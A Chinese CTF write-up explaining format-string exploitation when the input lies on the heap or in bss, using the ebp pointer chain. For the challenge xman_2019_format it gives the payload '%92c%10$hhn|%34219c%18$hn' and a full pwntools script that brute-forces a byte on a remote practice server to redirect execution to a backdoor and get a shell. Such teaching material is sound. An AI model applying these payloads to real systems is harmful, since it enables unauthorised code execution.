非栈上格式化字符串漏洞利用

通常格式化字符串是写在栈上,首先去测偏移,然后改got表,但是有时候也会有我们输入的格式化字符串在堆上,在bss段上的情况,这样我们无法用老一套测偏移写地址直接改got,我们需要借助ebp链,有时还要借助argc链

例题1:xman_2019_format

1

2

程序存在格式化字符串漏洞,且存在后门0x080485ab

3

但是我们输入的在堆上,调试看一下

5

6

可以看到ebp链,如果我们修改偏移为10处的0xffffd078 -> 0xffffd05c ,那么在偏移18处就是修改0xffffd05c了,也就是可以修改返回地址了

输入payload调试看一下’%92c%10$hhn|%34219c%18$hn’这里要加上”|”分隔开,不然改的是原先偏移18处的值,而不是我们修改的0xffffd05c程序是给了两次printf,我们加上|依次修改

7

首先是%92c%10$hhn修改了ebp链,然后执行%34219c%18$hn

8

这时返回地址已经被修改成了后门地址

但是如果打远程的话,是需要爆破低一字节的

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding:utf8  
from pwn import *
context(os='linux',arch='i386',log_level='debug')


while 1:
try:

#io = process('./xman_2019_format')

io = remote('node4.buuoj.cn', 29633)

payload = b'%' + str(0x0c).encode() + b'c%10$hhn|%34219c%18$hn'
io.recv()
io.sendline(payload)
io.recv(timeout=1)
io.sendline('ls')
io.recvline_contains('bin', timeout=1)
io.interactive()
break

except:

io.close()



9